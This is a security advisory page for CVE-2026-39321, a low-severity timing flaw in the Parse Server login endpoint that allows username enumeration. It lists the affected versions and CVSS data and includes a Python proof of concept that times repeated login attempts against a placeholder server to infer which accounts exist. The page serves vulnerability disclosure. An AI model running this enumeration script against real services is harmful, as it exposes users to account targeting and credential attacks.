Security Vulnerability Report
中文
CVE-2026-39321 CVSS 3.7 LOW

CVE-2026-39321

Published: 2026-04-07 18:16:43
Last Modified: 2026-04-15 17:20:11

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.8.0-alpha.6 and 8.6.74, he login endpoint response time differs measurably depending on whether the submitted username or email exists in the database. When a user is not found, the server responds immediately. When a user exists but the password is wrong, a bcrypt comparison runs first, adding significant latency. This timing difference allows an unauthenticated attacker to enumerate valid usernames. This vulnerability is fixed in 9.8.0-alpha.6 and 8.6.74.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha2:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha3:*:*:*:node.js:*:* - VULNERABLE
Parse Server < 9.8.0-alpha.6
Parse Server < 8.6.74

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # Target configuration TARGET_URL = "http://target-server.com/parse/login" USERNAMES = ["admin", "user", "test"] # Function to test timing for a specific username def check_username_timing(username): payload = { "username": username, "password": "random_password_to_trigger_check" } headers = { "Content-Type": "application/json" } start_time = time.time() try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") return 0 end_time = time.time() elapsed_time = end_time - start_time return elapsed_time # Analyze timing for each username for user in USERNAMES: # Run multiple times to get average durations = [] for _ in range(5): duration = check_username_timing(user) if duration > 0: durations.append(duration) time.sleep(0.5) # Small delay between requests if durations: avg_duration = sum(durations) / len(durations) print(f"Username: {user}, Avg Response Time: {avg_duration:.4f}s") # If avg_duration > Threshold (e.g., 0.2s), user likely exists if avg_duration > 0.2: print(f"[+] User '{user}' likely exists (Bcrypt delay detected)") else: print(f"[-] User '{user}' likely does not exist")

References

Raw JSON Data

JSON
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